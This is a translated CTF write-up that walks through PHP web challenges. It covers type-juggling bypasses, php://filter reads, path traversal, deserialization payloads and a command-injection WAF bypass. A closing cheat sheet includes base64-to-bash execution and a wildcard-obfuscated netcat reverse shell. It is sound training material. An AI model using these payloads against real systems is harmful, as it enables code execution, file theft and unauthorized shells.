ctf_web introductory audit questions

Code audit

Loose judgment

Title: Attack and Defend the World

 <?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    //a value is greater than 6 million and the maximum length is 3-->scientific notation
    //The last six digits of md5 of b are equal to 8b184b
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...think again");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
//Pass an array c and the value of key=m is not a number and is greater than 2022-->m:2023a
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
 /* To judge the value with key n, n must be an array, and the number of values ​​must be 2, and the first value of n must be
  Must be an array. That is "n":[[],xxx] */     
        $d = array_search("DGGJ", $c["n"]);//n: There must be DGGJ in it, otherwise die() directly
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){//Loop to see if DGGJ is contained in the array, and if so, die() directly.
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){//key1 and key2 are both 1, then get the flag
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?> Emmm...

Weakly typed languages ​​have no restrictions on the data type of variables. Variables can be assigned to variables of any other type, and variables can be converted into data of any other type.

If you compare a number to a string or compare a string containing numeric content, the string is converted to a numeric value and the comparison is performed as a numeric value.

and any string is equal to true under loose comparison

1 == "1admin";//true
0 == "admin1";//true
1 == "adm1in";//false
0 == "adm1in";//true
//What happens if false and null are compared with a string array?
//They will not be converted to int type, so the result is like this:
in_array(null, ['a', 'b', 'c']) //false
in_array(false, ['a', 'b', 'c']) //false
//There is another phenomenon that seems strange:
in_array('a', [true, 'b', 'c']) // true
array_search('a', [true, 'b', 'c']) // int(0)
//Because under loose comparison, any string is equal to true.
?a=6e9&b=53724&c={"m":"2023a","n":[[],0]}

Analysis:

  1. 6e9 scientific notation is greater than six million
  2. The last six digits of the md5 value of 53724 are 8b184b
  3. c[] is an array
  4. c["m"]=="2023a"Greater than 2023 and not a number
  5. c[] has two key-value pairs that satisfycount($c["n"]) == 2
  6. c["n"]==[[],0]satisfyis_array($c["n"][0]
  7. c["n"]==[[],0]0 in can be satisfied $d = array_search("DGGJ", $c["n"]);, 0 matches "DGGJ"

Other weak types

json bypass

<?php
  if (isset($_POST['message'])) {
      $message = json_decode($_POST['message']);
      $key ="*********";
      if ($message->key == $key) {
          echo "flag";
      }else {
      	echo "fail";
  		}
  }else{
      echo "~~~~";
  }
?>

The json_decode() function will decrypt the parameters into an array and determine whether they are equal to the value of the key. Since we do not know the value of the key, we can use 0=="admin"this method to bypass it.

array_search bypass

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

Introduction to array_search in the official manual

mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )
  • $needle - required
  • $haystack - required
  • $strict——optional: default is false, if set to true, strict filtering will be performed

Function: The function determines whether the value in $haystack exists in $needle, and returns the key of the value if it exists.

strcmp bypass

<?php
	$password="***************"
  if( isset($_POST['password']) ){
  	if(strcmp($_POST['password'], $password) == 0) {
  		echo "Right!!!login success";
  		exit();
  	} else {
  		echo "Wrong password..";
  }
?>

strcmp() compares two strings and returns 0 if they are equal.

We do not know the value of $password. The accepted value judged by strcmp must be equal to $password. The expected type passed in by strcmp is a string type. We can bypass it by passing password[]=xxx.

File contains

php://filter

string.rot13

string.rot13 performs a ROT13 conversion on a string. ROT13 encoding simply replaces the current letter with the 13th letter from the alphabet while ignoring non-alphabetic characters .

php://filter/string.rot13/resource=flag.php

string.tolower

Convert string to lowercase

php://filter/string.strip_tags/resource=flag.php

string.strip_tags

string.strip_tags strips HTML and PHP tags from a string and attempts to return the given string str with null characters, HTML and PHP tags removed.

php://filter/string.strip_tags/resource=flag.php

convert.base64-encode&convert.base64-decode

php://filter/convert.base64-encode/resource=flag.php

convert.quoted-printable-encode & convert.quoted-printable-decode

Convert to printable characters

php://filter/convert.quoted-printable-encode/resource=flag.php

convert.iconv.*

This filter requires PHP to support iconv, which is compiled by default.

Using convert.iconv.* filters is equivalent to using iconv()functions to process all stream data.

convert.iconv.<input-encoding>.<output-encoding> 
convert.iconv.<input-encoding>/<output-encoding>
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

For example: Convert content from UCS-2LE to UCS-2BE encoding

php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=2.php

zlib.deflate

php://filter/zlib.deflate/resource=flag.php

zlib.inflate

php://filter/zlib.deflate|zlib.inflate/resource=flag.php

warmup

Question link: Attack and Defense World

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//Whitelist
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";//The page passed in must be a string
                return false;
            }
            if (in_array($page, $whitelist)) {//If page is in the whitelist, return 1
                return true;
            }
            $_page = mb_substr(//String truncation function
                $page,
                0,
                mb_strpos($page . '?', '?')//Returns the position where the first "?" appears in the page
            );//To sum up, the value before the first question mark is assigned to the $_page variable
            if (in_array($_page, $whitelist)) {
                return true;
            }
          	//$_page returns 1 if it is in the whitelist
            $_page = urldecode($page);
          //Decode the url of the page and assign it to $_page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//Same function as above
            if (in_array($_page, $whitelist)) {
            //_page will return true as long as it is in the white list (that is, as long as the content between the two question marks is in the white list)
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])//checkfile return value is 1
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

First check: If the page is in the whitelist, return 1 directly

The second check: first add a question mark at the end of the page, then assign the content before the first question mark to the $_page variable to check whether it is in the whitelist, and return 1 if it is.

The third check: decode the URL of the page, add a question mark at the end and assign the content before the first question mark to $_page, then check whether it is in the whitelist, and return 1 if it is.

If 1 is returned, enter the include() function and use the file inclusion vulnerability to obtain the flag.

hint.php has prompted us that the flag is ffffllllaaaagggg

/?file=hint.php?ffffllllaaaagggg

Here, when entering the second check, 1 is returned, and you can enter the include() function. However, currently we do not know which directory the flag file is in. We need to find it layer by layer. The final payload:/?file=hint.php? ../../../../../ffffllllaaaagggg

Note: The include() function does not care about other files when there is ../ in the path, so only this flag file is included in the end.

Deserialization

Common magic methods

  • __construct()

Automatically called when a class is instantiated

  • __distruct()

Automatically called when a class is destroyed

  • __call()

Automatically called when calling a method that is inaccessible or does not exist (similar to throwing an exception)

  • __callStatic()

Automatically called when calling a static method that is inaccessible or does not exist

  • __get()

Automatically called when accessing an inaccessible or non-existent property (similar to throwing an exception)

  • __set()

Automatically called when assigning a value to an attribute that cannot be accessed or does not exist. The first parameter will automatically get the name of the attribute to be assigned, and the second parameter will automatically get the value.

  • __isset()

This method is automatically called when isset() or empty() is judged for an attribute that cannot be accessed or does not exist.

  • __unset()

This method is automatically called when unset() is judged for an attribute that cannot be accessed or does not exist.

  • __sleep()

Automatically called when serializing serialize()

  • __wakeup()

Automatically called when unserialize() is performed

  • __toString()

Automatically called when an object is used as a string

  • __invoke()

When an object is called with a function method, the method is automatically called (also similar to throwing an exception)

  • __set_state()

This method is automatically called when exporting a class, and its parameter 1 will automatically obtain the class properties arranged in the format of array('property'=>value,...)

  • __debuginfo()

Using var_dump() to read the object will trigger the magic method

  • __unserialize()
  • __serialize()

If a class has both __unserialize() and __wakeup(), then the content in __unserialize() will be executed, but __wakeup() will not

  • __clone()

The clone() method is automatically called when the object is copied.

Net tripod cup

https://buuoj.cn/challenges[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E9%9D%92%E9%BE%99%E7%BB%84]AreUSerialz

 <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;//protected protected modifier, a class member defined as protected can be accessed by itself, its subclasses and parent classes
    protected $filename;
    protected $content;
    function __construct() {//Constructor function
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();//->Object calls the function of the class
    }
    public function process() {//process method
        if($this->op == "1") {
            $this->write();//If op=1, run the write function
        } else if($this->op == "2") {//Note that this is a weak comparison
            $res = $this->read();
        //If it is op=2, run the read function to assign the completed value to res, and then put $res into the output function
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content))//Determine whether filname and content are empty {
            if(strlen((string)$this->content) > 100) {//Determine whether the length of content is greater than 100
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//file_put_contents writes a string to the file
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {//Output function
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {//Destructor This function is automatically called when an object of the class is deleted.
        if($this->op === "2")//Note that this is a strong comparison
            $this->op = "1";//Assign 1 to op
        $this->content = "";//Change content to empty
        $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)//strlen determines the length of the string
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;//ord takes a character (a string of length 1) as a parameter and returns the corresponding ASCII value or Unicode value
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = deinialize($str);
    }
}

Code running process

Note: The __construct() function will not be called automatically, but __distruct() will be called automatically.

is_valid() The ascii codes of all characters must be in the range [32, 125]-->unserialize()-->__distruct() If op is equal to string 2, change it to string 1-->process() let op Equal to string 2, you can read the file-->read()-->file_get_contents()

Ideas

Obviously the most critical point is actually the inspection of op by __distruct() and process().

But we noticed that __distruct() is a strong type check for op, while process() is a weak type check. We want it to be not equal to string 2 in __distruct() but equal to string 2 in process()

Then we can use strong and weak type comparison to make op equal to the number 2, because the number 2 is not strongly equal to the string 2 (in __distruct()), and the number 2 is weakly equal to the string 2

However, it should be noted that there are non-printable characters after serialization of protected type attributes. There will be %00*%00 characters. The ASCII code of %00 characters is 0, so they cannot pass the is_valid() verification above. %00 characters The ascii code is 0, so it is not displayed. There will be an extra * in front of the variable.

<?php
class FileHandler {
    public  $op = 2;
    public  $filename = "flag.php";
    public  $content;
//Because the destruct function will change content to empty, the value of content is arbitrary (but it must meet the requirements of the is_valid() function)
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>

final payload

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

Jiangsu Craftsman Cup

Attack and defend the world

<?php
class ease{
    private $method;
    private $args;
    //Assign values ​​to variables and assign the passed parameters to method and args in turn.
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    //Destroy the function. If the method has the value ping, call this ping() function with the parameter args.
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
    //exec() command execution, that is, executing args as a command
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }
    //Filtered a lot of characters
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
    //Magic method of deserialization, blacklist comparison of incoming data character by character
    function __wakeup(){
        foreach($this->args as $k => $v) { //=>Link key-value pairs, where k is the key and v is the value
            $this->args[$k] = $this->waf($v);
        }
    }   
}
$ctf=@$_POST['ctf'];
//Prompt us that there is a base64 decoding process in the background deserialization, then we need to encode and then POST
@unserialize(base64_decode($ctf));
?>

Code running process

Pass in the string ctf-->base64 decoding-->__construct()-->__wakeup()-->waf()-->unserialize()-->__destruct()-->call_user_func_array()-->exec ()

function learning

  1. exec(command,array): used to execute an external program, that is, execute an incoming command; store the execution results in the array
  2. var_dump(): used to determine the type and length of a variable and output the value of the variable
  3. call_user_func_array():

(1) call_user_func_array (string, array) global function callback: string represents the name of the function to be called, array is the parameter list, which is passed to the called function in order.

(2) Callback of the static method of call_user_func_array(array(class_name,function_name),value) class:

class_name and function_name form an array, which are the class name and its function name respectively, and value is still the parameter list.

Idea: The ultimate goal is to let the page execute the command we gave, which means that the exec() function must finally take effect-->must call ping()-->must use call_user_func_array()-->must pass in A serialized object with method ping and args the command we want. To sum up, it is not difficult to sort out the following operations:

1. Instantiate an ease, determine the parameter type, serialize and pass in base64 for testing

2. The test is effective and proves that the idea is correct. Next, we need to find a way to enter dangerous codes, which is to bypass WAF.

payload generation

<?php
$a = array('a'=>'l""s${IFS}f""lag_1""s_here');
$payload = new ease("ping",$a);
$result = serialize($payload);
echo base64_encode($result);
?>

How to bypass character filtering

  1. Insert ${Z}
  2. Insert "" null character

How to bypass whitespace filtering

under linux

  • {cat,flag.txt}
  • cat${IFS}flag.txt
  • cat$IFS$9flag.txt
  • cat<flag.txt
  • cat<>flag.txt
  • kg=$'\x20flag.txt'&&cat$kg

(\x20 is converted into a string and is a space, which is cleverly bypassed by using variables)

under windows

(The practicality is not very wide, so only the type command can be used)

  • type.\flag.txt
  • type,flag.txt
  • echo,123456

Found array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }

Although the path is obtained, direct access is blank and requires cat. However, the string can be bypassed, but how to bypass "/"?

New knowledge: Unicode encoding can be executed as a command under Linux

Octal\154-->Decimal 108-->ascii code-->Character I

Convert the command into octal number and then pass it in

The command is converted into octal C language code:

#include <stdio.h>
int main(){
    char site[]="cat flag_1s_here/flag_831b69012c67b35f.php";
    for(int i = 0; i < sizeof site / sizeof site[0]; i++ ){
        printf("\\%o",site[i]);
    }
    return 0;
}

got the answer:\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160

final payload

$a = array('a'=>'$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")');

When executing, printf will be executed first to restore our original command (which has been compared to the blacklist at this time) to obtain the flag.

Bypass filtering

Filter keywords such as cat

  • c""at fl''ag.tx""t
  • c\at fl\at.tx\t
  • ca$1t fl$1ag.t$1xt

filter spaces

  • ${IFS}
  • <>
  • %09 (only applicable to PHP environment)

Blacklist bypass

  • Splicing using shell variables

a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e;

  • Use backticks to wrap the base64 encoded command

`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`

  • Pass the base64 encoded command to bash

echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash

Wildcard bypass

/???It will look for /files with a length of three characters in the directory. Under normal circumstances, it will find them /bin, and then /?[a][t]match them first /bin/cat. The cat command will be called successfully, and then normal wildcards can be used to match the files to be read, such as flag. The length of the txt file name is 8. If you use 8 '?', this command will read all files with a length of 8.

/???/?[a][t] ?''?''?''?''?''?''?''?

/???/[m][o]?[e] ?''?''?''?''?''?''?''?

Even start a shell:

/???/[n]?[t]??[t] 192.168.1.3 4444

length bypass

Use >> to add a part of the command to the file at a time

echo -n "cmd1" > r;echo -n "cmd2" >> r;echo -n "cmd3" >> r;echo "cmd4" >> r;

Then cat r | bashexecute it using

Execute with newline or ls -t:

ca\t flag.t\xt

Use sh a to execute the command cat flag.txt

ls -t can output file names in reverse order of creation time:

So there can be> "ag"> "fl\\"> "t \\"> "ca\\"

and then usels -t>s

At this time, the content of the file in s issca\t \fl\ag\

Decrypt

Question link: Attack and Defense World

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
    $_o=strrev($str);//Reverse string
    for($_0=0;$_0<strlen($_o);$_0++){//For each character in the string
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;//ascii shift one position to the right
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));//base64 encoding
}
highlight_file(__FILE__);
?> 

Encryption process:

Reverse-->Shift right 1-->base64-->Reverse-->Shift left 13 orstrrev(右移(base64(strrev(str_rot13(明文)))))

Note that when decrypting, you must start from the outer brackets and decrypt layer by layer.

Decryption:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
    $_o=base64_decode(strrev(str_rot13($str)));
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return strrev($_);
}
echo decode($miwen);
?>

There may be invisible characters in the output flag, so if the submission is incorrect, just type it again and submit again.

Guess you like

Origin blog.csdn.net/B_cecretary/article/details/127654208